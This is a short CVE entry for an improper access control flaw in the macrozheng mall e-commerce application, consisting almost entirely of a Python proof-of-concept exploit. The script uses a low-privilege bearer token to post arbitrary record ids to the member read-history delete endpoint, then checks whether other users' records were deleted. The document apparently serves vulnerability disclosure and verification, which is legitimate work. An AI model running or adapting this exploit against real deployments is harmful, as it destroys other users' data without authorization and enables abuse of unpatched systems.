CVE-2025-13443 macrozheng mall权限控制不当漏洞

import requests import json # CVE-2025-13443 PoC - macrozheng mall Improper Access Control # Target: /member/readHistory/delete endpoint target_url = "http://target-server/api/member/readHistory/delete" # Authenticated session with low-privilege user headers = { "Content-Type": "application/json", "Authorization": "Bearer <low_privilege_token>" } # Payload to delete arbitrary read history by manipulating ids parameter payload = { "ids": [1, 2, 3, 999, 1000] # Attempt to delete history IDs without ownership check } try: response = requests.post(target_url, headers=headers, json=payload, timeout=10) print(f"Status Code: {response.status_code}") print(f"Response: {response.text}") # Check if the vulnerability is exploitable if response.status_code == 200 and "success" in response.text.lower(): print("[+] Vulnerability confirmed - IDs can be deleted without ownership verification") else: print("[-] Request failed or access denied") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}")